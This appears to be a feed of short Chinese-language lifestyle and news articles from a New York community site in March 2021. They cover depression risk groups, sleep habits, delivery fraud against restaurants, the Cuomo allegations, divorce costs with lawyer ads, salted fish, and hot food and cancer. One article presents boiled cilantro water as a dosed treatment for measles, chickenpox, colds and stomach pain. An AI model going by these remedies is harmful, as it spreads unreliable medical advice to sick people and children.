现在买房,可能会有几个月的空置时间,房租一开始可能较低。还有房东存房未降价出租。市场分析认为:虽然纽约房地产目前不是投资就能快速赚钱,但地产投资是一个长期的游戏,是为了将来的某个时间更容易升值。

2021-03-13 / by / in , ,
医生证实:抑郁症喜欢向这六种人“打招呼”,希望你不在其中

健康/心理健康/抑郁

抑郁症是现代社会很多人的通病,尤其是经济发达的都市,工作压力、社交压力以及来自社会方方面面的压力,给很多人带来心理困扰。轻度抑郁症会影响到正常的生活和工作,发展到严重的程度就会产生非常负面的念头,甚至是自杀。

抑郁症是一种比较常见的心理疾病,如果放任其发展, 会给患者的身心健康带来巨大的危害。轻度抑郁症会开始影响患者的正常生活和工作,发展到最后, 患者可能忍受不了抑郁症带来的痛苦,从而会产生自杀的念头。

抑郁症的成因尚未明确, 大多数人认为抑郁症是一种在心理因素和多重社会因素作用下产生的 心理疾病。但是其实抑郁症的发生也有迹可循, 某些特定人群患抑郁症的几率可能会高于一般人。

那么抑郁症常见于哪些人群呢?什么人会比较容易患上抑郁症呢?
抑郁症一般女性患病几率高于男性,除了性别, 一些特定的性格特点或者生活环境也容易出现抑郁症。


抑郁

抑郁症喜欢向这六种人“打招呼”

1、有家族抑郁史人群:

抑郁症跟家族病史有一定的关系。有研究显示,如果父母其中有1人患有抑郁症, 子女患病几率为百分之二十五;若双亲都是抑郁症病人, 子女患病几率则塔高至50%~75%。

2、性格偏消极人群:

性格内向的人,容易自卑、自责的人, 以及看事物比较悲观的人等,都比较易患上抑郁症。还有学习不好, 工作能力差,对什么事都不积极的人也比较容易患上心理疾病。


抑郁

3、中年人:

中年人大多成家立业,相应也取得一定的社会地位, 不论是工作还是家庭,责任比较大, 因此患抑郁症的比例相较于其他年龄要高。

4、孕妇或初为人母的女性:

孩子的诞生不仅是一件喜事, 也是一份责任,很多女性在怀孕生产时, 往往还没有作好当妈妈的心理准备,在产后容易出现抑郁症。

5、长期患病的患者:

疾病会给人带来痛苦,尤其是癌症患者, 患上严重疾病,长期得不到治愈,容易造成性格孤僻, 心理上也饱受磨难,进而会导致病患患上抑郁症, 而抑郁症还会降低人体免疫力,从而使原始的病情恶化。


抑郁

6、发生婚变人群:

作为出轨者,他们通常瞒着配偶和家人, 这样心理上容易进入疲惫期,整天也会提心吊胆,当被发现时, 家庭出现矛盾难以处理,这时就很难支撑起自己。作为被出轨者, 被爱人伤害的痛苦,家庭的破碎都会带来心理上的创伤, 从而患上抑郁症。

最后,如果发现自己患有抑郁症一定要及时获取专业帮助, 因为接受针对性治疗才是治疗抑郁症的关键。如果发现身边有朋友得了抑郁症一定要尽力帮助他们, 尽力让朋友接受治疗。

2021-03-13 / by / in
睡觉时 床头禁止放这几样东西!

睡眠/手机/床头/闹钟/靠枕

由于个人生活习惯不同,好多朋友喜欢在床头摆些时髦的物品,可是没有想到这些物品会给睡眠造成干扰,无意中降低了睡眠质量。

1、手机

不建议把手机放在床头。

精神科专家建议,想要提高睡眠质量,一定要将带屏幕的电子设备,如手机、平板电脑、电视等物品带出卧室、远离床头。这些物品都会不断刺激你的大脑,让你的精神处于兴奋状态,从而导致入睡困难、心绪不宁。

想睡个好觉,先远离手机,让大脑彻底“关机休息”,才能尽快进入深度睡眠!

2、闹钟

床头放闹钟,也是大多数人的第一反应。

但需要注意的是,一方面,闹钟的滴答声音会影响入睡;另一方面,当人熟睡的时候,闹钟忽然大声地响起,会使人精神紧张,一下子很难缓过神,甚至还会出现血压突然增高的情况。

如果需要定时叫醒的话,也尽量把闹钟声音调得小一些,免得忽然响起的闹铃惊到自己。


闹钟和毛绒玩具

3、毛绒玩具

毛绒玩具表面极易隐藏灰尘、细菌和甲醛。

还有一些“三无”毛绒玩具是用有害化学纤维填充的,容易使人流泪、起红斑,甚至引起呼吸道和皮肤感染。卧室里不要摆放任何毛绒玩具。

4、花草

不少人喜欢莳花弄草,卧室也会放置上几盆。

床头要避免放宽大叶片的大型植物。晚上,这些植物会消耗氧气、释放二氧化碳,如果再加上卧室面积较小,或没有开窗通风,可能会对睡眠质量造成影响。

另外,也不要放有香气的植物,比如百合、尤加利等,虽说它们的气味本身不会对身体造成伤害,但太刺激的味道,会让我们很难入睡,有时候还会造成头晕。同理,香水、有味道的化妆品,最好也不要放在床头附近。

5、靠枕

很多人喜欢在床上放上抱枕,睡前习惯靠着枕头看书休息。其实靠枕是我们脊椎、腰椎的隐形杀手。

柔软的靠枕让我们的腰部和肩部得不到有力支撑,长期处于弯曲状态,特别容易导致颈椎病、腰椎间盘突出。而以半躺的姿势久坐后,会加重身体的疲劳,睡觉时觉得肩颈难受,大大影响睡眠质量。

另外,睡觉的时候要注意,不要随手拿靠枕来垫在头下做枕头。

随意枕着靠枕休息睡觉,很可能会让脖子和肩膀的肌肉得不到充分的放松,睡醒后出现颈肩酸痛甚至落枕的情况。还有,记得时常清洗、晾晒靠枕。

你的床头有没有放这几样东西?如果最近睡得不太好,试着把它们挪走,看会不会有所改善。一个睡眠香甜的夜晚,才能换来一个精力十足的白天!

2021-03-13 / by / in
餐馆被盯上:疫情之外的新打击

【金牌讯】疫情封闭,餐馆业主本已损失惨重,但危难关头竟然还有人对餐馆业动歪心思,以欺诈方式揩油餐馆,让餐馆蒙受巨额损失。这种情况似乎已经蔓延到全美。从加州到佛罗里达州,都有这类现象出现。

防不胜防的信用卡欺诈

在洛杉矶Fairfax地区,有一家本来生意红火的韩国餐馆,因为被花样百出的骗子频频欺诈,损失惨重,最后不得不关门。
对这家餐馆打击最大的一次欺诈发生在去年11月份。据洛杉矶时报报道,一位伪装成顾客的欺诈者,通过Tock外卖平台下单,总值728.26美元。接到这个大单,老板很兴奋,选了上等食材,花费几个小时,终于做好并发了出去。但一周之后,外卖平台发来信息说,这个订单有争议。因为信用卡主人说:他的卡被盗用了。已经上账到餐馆的这笔钱立即被收回。老板赶紧和信用卡公司联系,提供了顾客的订单信息和信用卡照片,她认为证据确凿,但足足等了2个月,信用卡公司还是让她自己承担损失。
吃亏之后,她改进取餐方式:要求每位顾客在刷卡时都要出示驾照,每次提货有录像,还给每个订单拍照。但是,她好像被犯罪分子盯上了,抵挡不住的欺诈继续出现。今年2月份,她只好关门。
疫情期间,使用外卖软件点餐的人很多。有些人就利用伪造或者窃取的信用卡支付订单。刷卡时,可以通过,但过了几天或一周,就有人投诉说,他的信用卡被非法盗用。信用卡公司一般向着顾客,只要投诉,就会取消付款,损失的痛苦只让餐馆独自承受。

友好欺诈,反复整你不商量

也有一些顾客,利用Uber Eats,DoordDash或Grubhub 等平台订餐,但在司机送达后,却说未收到食品。平台想了很多办法,比如,让司机每单送达后拍照存档。但总有不需拍照的时候,比如顾客亲手接单;还可能放到了错误的地方,拍照也没用。因此,丢单问题还是有。
一位司机给CVS员工送餐的司机,就遇到过这类投诉。顾客说未收到东西,导致司机的账户被停,无法继续做外卖工作。如果顾客说没收到,快递平台一般都会返还资金或给其信用。
洛杉矶地区另一家泰国餐馆也遇到类似情形。这家老板注意到一种异常情况持续了2个多月:越来越多的人声称订单丢失,没收到食物,要求第三方外卖平台返还资金。她最大的一笔损失是140美元。去年她损失了数千美元。
在五花八门的欺诈中,这种被称为“友好欺诈”的方式最隐蔽、最难对付。其作案模式是:收到食物的顾客打电话说没收到,或者说食物残缺不全。信用卡公司或者外卖平台会要求餐馆退款。造成的结果是那些尝到甜头的所谓顾客,会反复利用这种对“顾客友好”的把戏,来获得免费的东西。

社交平台,成为骗子的欺诈工具

很多诈骗是通过Telegram等社交平台实施的。
骗子是这样做的:首先,混到一些Telegram群组里面,发出信息,宣传能买到折扣幅度超过一半的食品。
一些贪便宜的顾客直接留言联系骗子,按照要求把自己从平台上的购物截图和送货地址,发给欺诈者。欺诈者确认信息后,然后,用购物车里面的食物给餐馆下单。一旦骗子接到订单,就要求订餐者以比特币,以太币,或者信用卡,现金软件给骗子付钱。
随后,骗子们或者建立一个新的账户,用另一个被盗用的信用卡信息,或者绑架一个曾被黑客攻击过的账户,来支付餐费,并将其发送到餐厅。餐厅发货,但是随后,有人称信用卡被盗,并要求返还资金。
骗子抓住了信用卡公司的弱点。因为,信用卡公司总是向着消费者,会要求商家无条件退款,而且,商家还可能面临高额罚款。
出现争议的订单,无疑多与这种方式有关。但很多顾客可能因为心虚,不对餐馆老板说出真相。如果遇到这种情况,餐馆老板最好询问其是否使用了社交平台,就可能快速发现真相。

当心越来越多的骗子

一般来说,食品快递行业不是实施网络欺诈的理想对象。因为平台会限制资金返还的数量。欺诈者也会觉得食品太便宜,不值得为此大费心思。他们似乎更应该关注那些赚钱更多的行业。
但是,因为餐馆和食品店不像其他其他行业,对网络欺诈有一定的防御能力,他们往往没有精力、能力来防御欺诈攻击。欺诈者认识到这一点,因此就肆意攻击这个薄弱的行业。
加上网络时代每天都有大量的隐私数据被泄露到暗网市场。专业欺诈者正是借这些东西横行无忌。他们把那些提供全方位线上服务,却对网络安全知之甚少的餐馆,当成练习欺诈游戏的最佳平台。
据Forter’s Fraud Attack Index上的信息,去年欺诈数量增加了13%,但其中的食品和饮料行业欺诈率却增长了60%,高于平均欺诈率4倍。
欺诈率增加,与利用智能手机点餐的用户数量大幅增加也相关。通过外卖平台点餐的客户从疫情前2019年的3,640万人,已经增加到4,560万人。
虽然商家无法阻止欺诈者在社交应用程序中营销其服务,但他们可以通过与外卖平台协商,提出更苛刻的防护措施来保护自己,防御恶意顾客,并减少与合法客户的摩擦。比如,可能需要建立“黑白”名单,对客户做分类服务,对那些忠实的值得信赖的顾客,给与更多优惠,而对那些曾经吃过霸王餐的人,拒绝给其服务。

2021-03-12 / by / in
第6位女性指控州长 涟漪效应,库默能否撑得住?

【金牌讯】本周三(3月10日)第6位女性匿名对纽约州州长库默,提出更严重的性骚扰指控,让库默似乎陷入一个打开的潘多拉魔盒。有关他不当行为的指控,显出一波更比一波猛的势头。
据奥尔巴尼联合时报报道,这位女性称库默不经她的同意触摸了她衬衫以下的部分。当时,这位女士被叫入州长大厦,协助州长解决有关他手机的一个小技术问题。
上周,库默召开新闻发布会,否认他曾经不正当的接触任何人。但同时也道歉说:了解到他的行为方式令一些人感到不适,但他不是有意为之,愿意道歉。但这次站出来的女性似乎证明州长对不当行为的认知,显然非同一般。
库默的解释令人感到坐实了指控:既然没有不当行为,那为何要道歉呢?一个年过6旬的州长,难道还不知道把手伸进一位女士的衬衣以下不是恰当的行为吗?另外,接连出现6位女性指控他,令人遐想:还会不会有第7位,第8位,甚至更多人站出来呢?一次偶然的州长大厦之旅,就让一位女子感到被摸的恐惧,那其他长年在州府工作的女性又会有怎样一种工作体验呢?
州长的性骚扰丑闻被炒得沸沸扬扬,被媒体穷追不舍。现在,纽约州总检察长任命了两位律师调查此事。第6位女士虽然还未对州长办公室提出正式投诉 ,但其报告已交给州法律顾问。
目前,这一事件甚至已经影响了州政府职员的注意力。州议会的议员们也看到了这一点:如果这个势头不纠正,看来,不论纽约州政府今后做了什么好事,都难以再获关注,因为全美的吃瓜群众一场戏还没看完,他们需要一个完美的结局。
因此,纽约州议员多数的领袖Andrea Stewart-Cousin站出来说:每天都会有无关政府事务的报道,我们需要不受干扰的工作。为了纽约州的利益,州长应该辞职。另外,昔日和他一起对抗川普的“战友”纽约市长白思豪,还有59位议员也加入了督促库默辞职的阵营。
几位数年前曾经历过其他人性骚扰的州政府女职员,也在今日美国上发评论怼库默。她们认为,对库默的多项指控必须调查,对工作人员的安全和尊严,不能妥协。
她们还进一步揭露说,州政府奥尔巴尼的性骚扰是一个公开的秘密。
这个现在被公开的秘密,也许可以解释州长库默的一而再再而三的大胆行为:这些实施性骚扰的人,并不是说待在真空中,确实有一个鼓励和促成性骚扰行为的网络,在后面鼓动和保护他们。
这几位女士说:从州府的资深工作人员,到这个特殊的系统,允许这种滥权行为几十年来不受审查。因此,她们要求,不只要调查库默,还要调查州府中性骚扰行为的促成因素,不能再允许系统的失败制造出更多的受害者。
不好的事似乎越来越多。看来,库默不辞职,难以收场。

2021-03-12 / by / in
香菜也是中药材!煮水喝竟有神奇功效 (视频)

香菜也是中药材/香菜

地中海沿岸和中亚是香菜原产地区,香菜也叫芫荽, 中医认为香菜性温味甘,内含多种维生素,还能健胃消食。

而且香菜也是我们日常烹饪中经常要用到的一种香料。无论是做汤,卤面,或者做素丸子等各式各样的料理中,都会看到它的身影。它独特的浓厚气味能使我们烹饪的美食瞬间增色。

很多人只知道香菜是一种做饭时提味的香料,却不知香菜还是一种中药材,可用来发疹,消食开胃 止痛解毒等等。明代著名医学家李时珍在《本草纲目》中说“芫荽性味辛温香窜,内通心脾,外达四肢”。能癖一切不正之气,故痘疮出不爽者能发之”。

由此可见香菜可以帮助患有麻疹,出水痘发不透的孩子加速痘疹透发出来。不仅如此,香菜还具有散寒,健脾化痰等功效。

治麻疹:如果麻疹,水痘透发不畅,可以用芫荽30-50克煮水,开锅后继续煮5分钟,然后加入饴糖喝,或者用香菜水擦身能加速痘疹透法出来。

治风寒感冒:用香菜50克加水煮开后继续煮5分钟然后加饴糖服下,可以发表散寒。

健脾化痰:如果有寒痰冷饮和食积瘀血停滞在肠胃,日常吃香菜可以消食下气,醒脾调中。把芫荽和橘子皮,生姜,粳米熬粥,可以散寒之痛 健脾消食的功效。

治胃痛:鲜香菜50~80克,加水煮水喝,煮好后加饴糖连服7天。

具体内容请观看中医世家出身的荣大夫为大家详细讲解的香菜的中医功效和患有不同病症时如何利用香菜来帮助我们的身体调理恢复。

2021-03-12 / by / in
当下官方提醒:它是一级致癌物!还能不能吃?答案来了

咸鱼怎么吃/1类致癌物质/中式咸鱼/咸鱼翻身

提前咸鱼大家都不陌生,是好多家庭喜欢的一种常见食物,咸鱼作为“重口味”也是下饭的好帮手,特别在新年期间更是众多家庭餐桌上一道必不可少的大菜之一。

但近日,在国家食药监总局发布的官方版“致癌物”清单中,“Chinese-style中国式咸鱼”竟赫然在列,它位列于第1类致癌物,编号为96号。其实,中国传统制法的咸鱼并非首次上榜,早在2012年它就已经被确定为一类致癌物。

那么,咸鱼致癌,你还敢吃吗?到底还能不能吃?应该怎么吃?难道咸鱼真的再也翻不了身了吗?今天我们就来好好说一说。

什么是1类致癌物质?

目前公布的致癌物质分为1~4类,他们分别对应:肯定致癌、较有可能致癌、尚不清楚是否致癌、基本不致癌。

与咸鱼一同被列为1类致癌物质的,还有大家所熟知的X射线、苯并芘、黄曲霉毒素等强致癌物质,这令许多人闻之变色。

事实上,1类致癌物质指的是确认含有会引发癌症的物质,并不是食用了这类物质就肯定得癌,这里的“肯定”指的只是这类物质致癌的证据更确凿而已。

为何中式咸鱼致癌?

在清单中,咸鱼被特别标注为“中国式咸鱼”,那么什么是中国式咸鱼呢?

中国式咸鱼指平常大家吃的那种以盐腌制并加以暴晒制成的咸鱼。咸鱼致癌,其实本非咸鱼的过错。

咸鱼在制备过程中,经过高浓度的盐腌渍,从而使得鱼肉脱水。在这一过程中,生成了许多亚硝酸盐类物质,这些物质在人体胃中的酸性环境中会转变为具有强致癌性的亚硝胺类物质,如亚硝基二甲胺。这些物质,才是中式咸鱼致癌的罪魁祸首。


咸鱼致癌,其实本非咸鱼的过错。 

咸鱼还能吃吗?

正如之前提到的,1类致癌指的是有更多证据证明能致癌,​​并不是吃了就会致癌。吃了清单中的食物不一定就会患上癌症,完全不吃也不一定能幸免。

总体来说,癌症是遗传、生活方式、饮食习惯等各种因素综合作用的结果。因此,只要科学合理地食用,咸鱼仍旧能成为我们餐桌上的美食。

吃多少?

对于一般人而言,1个月内吃2-3次,每次吃1小条咸鱼,不会对身体造成影响。但对于家里有肠道、鼻咽癌病史或身处于这类癌症高发地区的人而言,其机体对亚硝酸盐类物质更敏感,患癌的几率也相对更高,建议这类人酌情少吃咸鱼或者干脆不吃咸鱼。

什么时候吃?

一般情况,咸鱼中的亚硝酸盐含量在盐渍后的一个礼拜达到顶峰,在2-3个礼拜后,其含量逐渐减少,达到人体可以耐受的量。

因此,将咸鱼盐渍2-3个礼拜后再食用最为稳妥。若咸鱼来源于市场购买,无法分辨其盐渍时间,我们也建议您将其放置2个礼拜后再吃,可以最大程度地减少亚硝酸盐摄入。

怎么吃?

在烹饪咸鱼前,将其先用水焯过或蒸制后,沥去汤汁,再进行烹制,可以除去其中的一大部分亚硝酸盐。

在吃咸鱼的同时,还可以多吃一些富含膳食纤维的蔬菜,如青菜、芹菜。膳食纤维可以促进人体排便,从而减少人体对咸鱼中亚硝酸盐的吸收。

此外,咸鱼爱好者平时可以多吃些猕猴桃、柠檬、青椒,这些物质含有丰富的维生素C,它是很好的亚硝酸盐还原剂,能将其还原成无致癌性的硝酸盐。

同时,也要提示大家,与咸鱼类似的高盐腌渍食物,如咸菜、咸肉、酱鸭等,同样含有亚硝酸盐类物质,大家在食用时也要注意控制摄入量。


吃咸鱼的同时多吃蔬菜水果 

我们面对致癌物质,我们如何应对?

致癌物质清单一出,大家都对此产生了很大担忧。在这里告诉大家,其实面对致癌物质,我们不必谈癌色变。

1.有的致癌物如烟、酒,他们有明确的证据显示致癌,且具有成瘾性,我们应尽量避免。

2.有的致癌物如X光,我们要权衡利弊。尽管它也有明确的致癌性,但在生病了的情况需要下,该照的还得照。

3.有的致癌物如咸鱼、烧烤,我们需要控制它的量。只要少量少次地食用,不会对身体产生什么影响。

2021-03-12 / by / in
离婚:好聚好散,才能省钱。(美国离婚费用,中华离婚律师楼推荐)

离婚好聚好散,才能省钱

地址 136-20 38th Ave Suite 9I, Queens, NY 11354
电话号码(646) 248-2037
网站:https://nychineselawyer.com

【金牌网】人们总想追求更好的生活,成为一些夫妻离婚的原因。但巨额的离婚费用,往往让一些陷入离婚情感困境的家庭,经济上也雪上加霜。

国家健康统计中心National Center for Health Statistics)的数据,美国各州平均离婚费用从8,400-17,500美元之间其中,平均离婚律师费超过12,800美元每小时律师费250美元,但每个案件当事人可与律师协商具体的付费标准,毕竟律师的资历和经验都会影响收费标准。

其实,影响离婚成本的因素很多。离婚费用通常很高,但也要看每个案件的具体情况。如果双方能协商好,可省下来不少费用。

比如,如果有财产或子女的通常要付出更多离婚费用一般生活本越的地方,离婚费用越是,当事人双方如果能够达成一致,选择合作离婚律师充当调解人帮助夫妇解决争议去上庭,费用就会降低很多。雇佣调解人一般费用约为970美元。

如果案情复杂,双方互撕,会导致费用急速上升。无重大争议的离婚费用平均为一般为4,100美元,有子女需要抚养有争议的,以及需要赡养费的,会明显提高费用。需要法庭2以上问题做裁决平均支出为23,300美元。比如,如果伴侣隐藏财产,需要雇佣法务会计师来帮助导致增加数千美元甚至更多支出。

因此,即使离婚,如果能做到好聚好散,也可以省下来一笔可观的费用。双方商量好,除非必要,不要等到上庭来解决。

当然,这只是对一般的家庭而言。对于那些经济上比较宽裕的人士,这些省钱的建议就完全没有必要了。就像Amazon创始人贝佐斯,离婚之后,他的太太分到600多亿美元财产,随后,大笔一挥,捐40亿美元。

相比之下,律师费用那点开支在他们眼里应该是不值一提吧?

参考:Martindale Nolo Research’s 估算的2015平均全美离婚费用

 

有子女平均离婚费

无子女平均离婚费

平均申请费

加州

最高,26,300

最高,17,500

435

纽约州

第二高,25,600

17,100

210

德拉华州

24,300

16,200

150-160

阿拉巴马州

18,800

12,500

150-300

阿拉斯加

19,600

13,100

150

亚利桑那

19,500

13,000

158-353

阿肯色州

16,700

11,100

130-170

科罗拉多州

21,700

14,500

230

康奈狄格州

23,300

15,500

360

佛罗里达州

20,300

13,500

350-410

乔治亚州

22,000

14,700

150-250

夏威夷州

17,500

11,700

215-265

爱达荷州

16,800

11,200

207

伊利诺伊州

20,700

13,800

210-388

印第安纳州

11,400

130-176

爱荷华州

17,600

11,700

185

堪萨斯州

16,400

10,900

156-197

肯塔基州

15,300

10,200

120-180

路易斯安那州

18,900

12,600

200-450

缅因州

16,700

11,100

120

马里兰州

21,000

14,000

165

麻萨诸塞州

23,900

15,900

200

密西根州

19,400

12,900

150-255

明尼苏达州

21,300

11,400

390-420

密西西比州

16,500

11,000

50-75

密苏里州

20,200

13,500

140-200

蒙大拿州

12,600

最低,8,400

225-250

纳布拉斯加州

15,600

10,400

158

内华达州

20,600

13,700

150-300

新罕布神州

18,500

12,300

250-252

新泽西州

23,400

15,600

300

新墨西哥州

16,000

10,700

135-155

北卡罗莱纳州

19,700

13,100

225-235

北达科塔州

15,600

10,400

80

俄亥俄州

18,800

12,500

175-350

俄克拉荷马州

18,700

12,500

175-250

奥瑞肯州

19,100

12,700

250-400

宾夕法尼亚州

21,500

14,300

150-350

罗德岛州

19,800

13,200

160

南卡罗莱纳州

18,900

12,600

150

南达科塔州

16,300

10,900

95

田纳西州

18,900

12,600

150-378

德克萨斯州

23,500

15,600

250-350

犹他州

19,800

13,200

310-330

佛蒙特州

16,900

11,200

90-295

维吉尼亚州

21,800

14,500

 

华盛顿州

20,100

13,400

314

西维吉尼亚州

15,600

10,400

135-185

威斯康辛州

16,900

11,300

180-220

怀尔明州

17,200

11,400

70

2021-03-11 / by / in ,
没油没烟 茄子料理 茄子不变黑 有技巧!(视频)

无油烟料理/茄子/茄子不变色/妙招

茄子是生活中最普遍的大众菜,也是少有的紫色蔬菜,内含多种维生素钙、磷和铁等矿物质元素,茄子肉质比较软,营养价值也是独一无二,所以深受人们的喜爱。

茄子还被誉为“血管的清道夫”,可使血液中胆固醇水平不致增高,对延缓人体衰老具有积极的意义。茄子可煎、炸、炒、凉拌等,味道都极好。在茄子的所有吃法中,蒸茄子是最健康的。因为茄子的加热时间最短,只需大火蒸熟即可,因此营养损失最少。

食材:

茄子 2条、蒜末2大匙、红辣椒末2大匙、葱花半碗

调味料:

酱油 3大匙、味醂1大匙、白醋 1大匙

做法:

1.茄子切滚刀入干锅,加少许水加盖大火煮至颜色变鲜艳即可取出排盘。

2.调味料酱油 3大匙、味醂1大匙、白醋 1大匙加葱花、蒜末、辣椒末拌匀。

3.等茄子稍凉,食用前淋上酱汁即可,也可以滴上香油增亮提味。

2021-03-11 / by / in ,
离婚率攀升 婚姻也会染疫吗?(离婚律师/美国离婚法律)

离婚率攀升 婚姻也会染疫吗?(离婚律师/美国离婚法律)

疫情,让婚姻变的更不牢靠

【金牌网】新冠疫情,带来的不仅有健康风险,还在全球给众多地区的婚姻亮了红灯。

在封城刚开始的时候,很多通勤上班族可能想:好啊,不用每天把时间花在路上了,在家就能上班,还有更多的时间陪伴家人。家里的人也可能想:现在,伴侣每天都在身边,可以帮我做家务了。但实际结果呢?当温馨的想象碰到冰冷的现实,巨大的反差让一些家庭走向了分裂。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

纽约市中华律师楼王雪洁律师发现:疫情爆发以来,离婚案件暴增。她的事务所忙的不可开交。不仅纽约市,其实在世界各地从中国,到英国、瑞士等地,都出现类似情形。离婚好像在随着疫情的暴增而起舞。

英国的Stewarts律师事务所,去年疫情仍在走向高峰的7-10月份,他们的离婚业务比上一年同期暴增了122%。在美国一家创建法律关系的网站发现疫情期间,他们的离婚合约销售增长了34%

离婚的原因多种多样,但大多还是与疫情有关。婚姻专家警告,目前的离婚率似乎还没有到高潮。

BBC报道,一对结婚7年的夫妻最近提交了离婚申请。在大流行病危机之前,他们从未讨论离婚问题。在城市封闭之后,他们的关系恶化引发他们婚姻红灯的触发点是:女方要照顾在家的儿子,以及帮助照顾一个亲戚的孩子。另外,女方以前有健康问题,为避免感染,他们决定分房而居。在家上班的男方感到积累了越来越多的压力,同时认为女方忽视了他。他们讨论决定分居。

肺炎流行期间,许多事通过网上让离婚也变的更容易,更省钱。Stewart Law Group的律师 Jenny Mihalovich说,过去办理离婚业务,带律师上庭,来回花一两个小时,占用客户大量精力和时间现在在家里就可以舒舒服服的做这些事,穿商务装泊车或请假。

不过,确实一些离婚率下降了。与上年同期相比,俄勒冈州,离婚率从去年3月份到去年底,下降了24%,结婚率下降了16%。佛罗里达州同期离婚率下降了20%结婚下降了27%分析认为,这可能与疫情早期法庭受到的限制有关。也一些原本陷入情感危机的夫妻,虽然感情可能出现裂痕,但考虑到工作时间减少财务限制以及担心房屋价格等各种因素,在一起吧!毕竟,离婚的费用,确实是一笔不菲的开支

Martindale NOlo Research’s 2015上发表的一项离婚研究发现,每个州的平均离婚费用,从最少$8,400——$17,500美元不等。整个离婚过程中平均律师费用高达$12,800,每小时的费用为$250如果双方争执不下,会导致不常见的甚至极端的条款将会使离婚过程更加昂贵。因为无力承担这笔费用,许多夫妻选择分居,还保持着合法的婚姻关系。

纽约州

加州

无子女平均离婚费用

$17,100 (第二高)

$17,500 最高

有子女平均离婚成本

$25,600 (第二高)

$26,300 最高

平均离婚申请费用

$210

$435

生活成本高于全美平均

15.8%

14.8%

中位家庭收入

$67,844

$75,277

离婚人口比例

8.8% (第二低)

9.2%

注:总体生活成本来自于the Bureau of Economic Analysis 2017年数据。离婚人口数据来自于U.S. Census Bureaus American Community Survey15岁及以上人口离婚率来自于the Centers for Disease Control and Prevention

在纽约州,离婚总体上比以前更容易。王雪洁律师介绍只要双方婚姻相处达到六个月以上,出现感情破裂的,就可以申请离婚。只要条件符合,离婚可以单方面进行,对方或配偶无法阻止。在任何一方提出离婚或待审阶段,双方可以一起生活和同居。如果找不到对方可以申请失踪离婚。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

2021-03-11 / 2 Comments / by / in , , ,
这个习惯竟然把人推向癌症的深渊!

癌症/不得癌/建议/趁热吃/吃太烫/毁胃/毁食道

不正确的饮食会给身体带来危害,特别一些人喜欢吃很热的食物,就像中国人在饭桌上最常说的一句关心的话趁热吃。可是谁都没有想到看似好心的话,竟然是变相害人的杀手,为什么这样说一起往下看。

据大陆报道,江苏南京的老王2年前查出了食道癌,当时他非常郁闷,自己一辈子勤勤恳恳,没有什么不良嗜好,从来不抽烟不喝酒,就连熬夜也很少,怎么就得了食道癌呢…医生后来发现,老王有个致命的生活习惯,喝烫汤!

老王说从小家人就给吃热的喝热的,他每天早晨要喝热的稀饭,每天晚上,他要喝烫的汤。汤基本上是滚烫滚烫的,一烧开就喝。要是稍微温一些,自己就觉得不舒服。老王癌症的元凶,竟然是吃太烫!这样血淋淋的教训数不胜数,长沙58岁厨师患上舌癌,由于职业需要,黄先生经常需要给刚出锅很烫的食物进行试味…


鸡汤 

“趁热吃”毁胃毁食道

千百年来的“趁热吃”怎么就成致癌的元凶的呢?有人会说,趁热喝一碗热气腾腾的羊肉汤,补身又暖身,冬天吃火锅是多么酣畅淋漓的一件事,刚刚冲泡好的热茶,散发着沁人肺腑的茶香,趁热饮下,难道不健康吗?

喝羊肉汤、喝养生茶这些自然是好的,问题就出在这个“烫”字,吃饭也好、喝汤喝水也好,都不宜过烫。口腔、食道、胃部的黏膜,都要跟着遭殃!反复烫伤可构成黏膜浅表溃疡,招致慢性口腔黏膜炎、食管炎、萎缩性胃炎等病症,长此以往,就会诱发黏膜质的变化,以致癌变。

01 食道癌

食道癌成了中国最普遍的四种癌症之一,发病率位居世界首位,与中国人习惯趁热吃的饮食习惯恐怕不无关系。例如,在广东潮汕地区,食道癌高发,食道癌的发病率与死亡率都双高。这恐怕与潮汕地区功夫茶盛行,喝茶讲究要“烫”,脱不了干系。

自吞咽开始,至蠕动波到达食管末端进入胃部,这个过程大约需要9秒钟。 9秒对于我们人体本身的“运行”来说已经相当长了!如果把超过65℃的热食吞下去,这就意味着,每吃一口,我们食道要经过9秒钟被烫的梦魇。食物温度过高,会灼伤食管黏膜并使之坏死,长期下去,可使该部位癌变,导致中国食道癌高发。

02 胃癌

除了食道癌,胃癌也是我国十大高发癌症之一,和趁热吃关系密切!尤其国人爱吃的火锅、麻辣烫等食物,那都不是仅仅65℃了,有不少人习惯夹着滚烫滚烫的食物直接往嘴里送,一次两次我们的胃还可以耐受,但长此以往就可能会发展成胃炎,再不注意就不可避免地成了罹患胃癌的高危人群。

03 食管炎

还有个不得不说的,就是趁热吃对食道的影响!现在生活节奏很快,大家吃饭的速度也“与日俱增”,但这是非常不好的饮食习惯。吃饭过快、趁热吃都会打破食道蠕动的节奏,长此以往易造成胃食管反流病、食管炎等疾病。

长期吃过热的食物,会增加胃癌的发病率。中国人胃癌发病率比西方人高,其中一个原因可能与西方人没有长期吃热食物的习惯有关。

04 胃糜烂

食物“趁热吃”其实并不好,医生介绍人的口腔、食道、胃耐热温度不同:口腔部分耐热温度在65℃至70℃;食道黏膜耐热温度在45℃至50℃;胃黏膜耐热温度在40℃。所以常常会出现入口不烫,却会把食道、胃“烫伤”的情况,造成胃炎、胃糜烂等。

05 已被列入致癌物

世界卫生组织(WHO)下属的国际癌症研究机构发布了最新报告:警告饮用65℃以上的热饮,可能增加罹患食道癌的风险,在此次世卫组织的评估中,非常热的饮料被列入了2A级(很可能致癌)致癌物。

吃太烫对牙龈和牙齿有害处,会引起牙龈溃烂和过敏性牙痛;人体内环境温度超过38.5℃,对人体就造成损伤。如果温度超过50℃,那么就会改变细胞结构。烫食烫饮容易灼伤上消化道黏膜,食物温度过高,会灼伤食管黏膜并使之坏死,长期下去,可使该部癌变。


癌症发病率数据 

不得癌建议

1.热茶热汤要冷点再喝

用那种七八十度水刚泡出来的茶,不要立马就趁热喝下,最好能等上几分钟。心急吃不了热豆腐,心急也喝不了健康的茶水。

2.吃饭要慢慢吃

食物上桌后,别着急着马上吃,最好等一等,以入口不感觉烫为宜,尤其是吃火锅。

3.什么温度最合适

通常来说,当食物温度降低至60度以下时,对于食管的损伤会大大降低。不过吃东西总不能拿个温度计来量吧,咱们用嘴唇感觉有一点点​​温热,但不觉得烫口,也不觉得凉,就是最适合的温度。

这些生活习惯危险!

除了吃太烫,还有些生活习惯也非常致命,不注意的话,癌症极有可能就会找上门,抽烟、喝酒就不用说了,人人都知道。


良好生活习惯 

